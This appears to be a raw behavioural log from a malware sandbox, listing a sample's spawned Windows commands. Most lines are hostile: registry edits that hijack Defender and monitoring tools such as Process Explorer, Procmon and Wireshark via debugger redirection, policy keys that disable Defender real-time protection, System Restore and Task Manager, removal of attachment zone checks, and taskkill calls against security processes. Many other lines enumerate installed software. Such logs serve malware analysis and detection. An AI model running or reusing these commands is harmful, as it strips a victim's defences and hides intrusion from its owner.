C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1988
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_SZ /d "-" /f2⤵PID:1488
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1464
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d "-" /f2⤵PID:368
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1336
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Environment" /v "SEE_MASK_NOZONECHECKS" /t REG_SZ /d "1" /f2⤵PID:792
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1076
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:643⤵PID:1052
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:323⤵PID:1404
-
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1652
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v "SEE_MASK_NOZONECHECKS" /t REG_SZ /d "1" /f2⤵PID:552
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1692
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1744
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "2" /f2⤵PID:628
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d "1" /f2⤵PID:1932
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "Taskmgr.exe" /T /F2⤵
- Kills process with taskkill
PID:2008
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:608
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d "1" /f2⤵PID:664
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1576
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f2⤵PID:304
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1976
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f2⤵PID:904
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:576
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f2⤵PID:1796
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1940
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f2⤵PID:588
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1332
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1536
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1812
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1848
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "ProcessHacker.exe" /T /F2⤵
- Kills process with taskkill
PID:524
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:796
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1508
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F2⤵
- Kills process with taskkill
PID:1952
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1824
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:643⤵PID:1936
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:323⤵PID:1568
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:296
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:643⤵PID:1492
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:323⤵PID:792
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1396
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:643⤵PID:108
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:323⤵PID:308
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:368
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:643⤵PID:1524
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:323⤵PID:1788
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2020
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:643⤵PID:524
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:323⤵PID:1224
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MSASCuiL.exe" /T /F2⤵
- Kills process with taskkill
PID:2024
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1336
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:643⤵PID:1052
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:323⤵PID:1912
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1488
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:643⤵PID:112
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:323⤵PID:1652
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2004
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:643⤵PID:1548
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:323⤵PID:1692
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:568
-
C:\Windows\System32\Wbem\WMIC.exewmic /Node:localhost /Namespace:\\root\cimv2 Path Win32_PnpSignedDriver Get /Format:List3⤵PID:1844
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:552
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:643⤵PID:628
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:323⤵PID:1812
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1744
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:643⤵PID:1864
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:323⤵PID:904
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MSASCui.exe" /T /F2⤵
- Kills process with taskkill
PID:588
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:792
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:643⤵PID:2016
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:323⤵PID:484
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1808
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:643⤵PID:524
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:323⤵PID:1616
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1052
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:643⤵PID:1912
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:323⤵PID:1404
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1520
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:643⤵PID:1952
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:323⤵PID:1588
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1652
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Office14.PROPLUS" /reg:643⤵PID:664
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Office14.PROPLUS" /reg:323⤵PID:1992
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1604
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:643⤵PID:1692
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:323⤵PID:1104
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MsMpEng.exe" /T /F2⤵
- Kills process with taskkill
PID:1908
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1864
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:643⤵PID:1900
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:323⤵PID:1940
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1616
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:643⤵PID:1676
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:323⤵PID:2008
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1928
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{09CCBE8E-B964-30EF-AE84-6537AB4197F9}" /reg:643⤵PID:1944
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{09CCBE8E-B964-30EF-AE84-6537AB4197F9}" /reg:323⤵PID:320
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1588
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:643⤵PID:1508
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:323⤵PID:1056
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MpUXSrv.exe" /T /F2⤵
- Kills process with taskkill
PID:1860
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1692
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:643⤵PID:1856
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:323⤵PID:484
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2028
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F06417080FF}" /reg:643⤵PID:1936
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F06417080FF}" /reg:323⤵PID:524
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1940
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:643⤵PID:1700
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:323⤵PID:1480
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1560
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:643⤵PID:1892
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:323⤵PID:2012
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1888
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:643⤵PID:1944
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:323⤵PID:768
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1232
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0170800}" /reg:643⤵PID:1620
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0170800}" /reg:323⤵PID:740
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1628
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0011-0000-1000-0000000FF1CE}" /reg:643⤵PID:1648
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0011-0000-1000-0000000FF1CE}" /reg:323⤵PID:664
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1344
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0015-0409-1000-0000000FF1CE}" /reg:643⤵PID:1728
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0015-0409-1000-0000000FF1CE}" /reg:323⤵PID:904
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1984
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0016-0409-1000-0000000FF1CE}" /reg:643⤵PID:1908
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0016-0409-1000-0000000FF1CE}" /reg:323⤵PID:1492
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MpCmdRun.exe" /T /F2⤵
- Kills process with taskkill
PID:1512
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1936
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0018-0409-1000-0000000FF1CE}" /reg:643⤵PID:1536
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0018-0409-1000-0000000FF1CE}" /reg:323⤵PID:1804
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1892
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0019-0409-1000-0000000FF1CE}" /reg:643⤵PID:112
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0019-0409-1000-0000000FF1CE}" /reg:323⤵PID:752
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:768
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001A-0409-1000-0000000FF1CE}" /reg:643⤵PID:1896
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001A-0409-1000-0000000FF1CE}" /reg:323⤵PID:1496
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1584
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001B-0409-1000-0000000FF1CE}" /reg:643⤵PID:1648
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001B-0409-1000-0000000FF1CE}" /reg:323⤵PID:1056
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1856
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0409-1000-0000000FF1CE}" /reg:643⤵PID:904
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0409-1000-0000000FF1CE}" /reg:323⤵PID:1788
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1908
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-040C-1000-0000000FF1CE}" /reg:643⤵PID:524
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-040C-1000-0000000FF1CE}" /reg:323⤵PID:680
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1644
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0C0A-1000-0000000FF1CE}" /reg:643⤵PID:2016
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0C0A-1000-0000000FF1CE}" /reg:323⤵PID:1612
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1676
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-002C-0409-1000-0000000FF1CE}" /reg:643⤵PID:1952
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-002C-0409-1000-0000000FF1CE}" /reg:323⤵PID:112
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "NisSrv.exe" /T /F2⤵
- Kills process with taskkill
PID:1596
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:740
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0000-1000-0000000FF1CE}" /reg:643⤵PID:1812
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0000-1000-0000000FF1CE}" /reg:323⤵PID:1548
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1788
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0409-1000-0000000FF1CE}" /reg:643⤵PID:1492
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0409-1000-0000000FF1CE}" /reg:323⤵PID:856
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1500
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0044-0409-1000-0000000FF1CE}" /reg:643⤵PID:1700
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0044-0409-1000-0000000FF1CE}" /reg:323⤵PID:1404
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1860
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-006E-0409-1000-0000000FF1CE}" /reg:643⤵PID:2016
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-006E-0409-1000-0000000FF1CE}" /reg:323⤵PID:2012
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:752
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00A1-0409-1000-0000000FF1CE}" /reg:643⤵PID:112
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00A1-0409-1000-0000000FF1CE}" /reg:323⤵PID:1508
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1812
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00BA-0409-1000-0000000FF1CE}" /reg:643⤵PID:2000
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00BA-0409-1000-0000000FF1CE}" /reg:323⤵PID:1932
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1620
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0115-0409-1000-0000000FF1CE}" /reg:643⤵PID:1656
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0115-0409-1000-0000000FF1CE}" /reg:323⤵PID:1492
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "ConfigSecurityPolicy.exe" /T /F2⤵
- Kills process with taskkill
PID:796
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1700
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0117-0409-1000-0000000FF1CE}" /reg:643⤵PID:1332
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0117-0409-1000-0000000FF1CE}" /reg:323⤵PID:1944
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:112
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033" /reg:643⤵PID:1548
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033" /reg:323⤵PID:1972
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1932
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:643⤵PID:1800
-
-
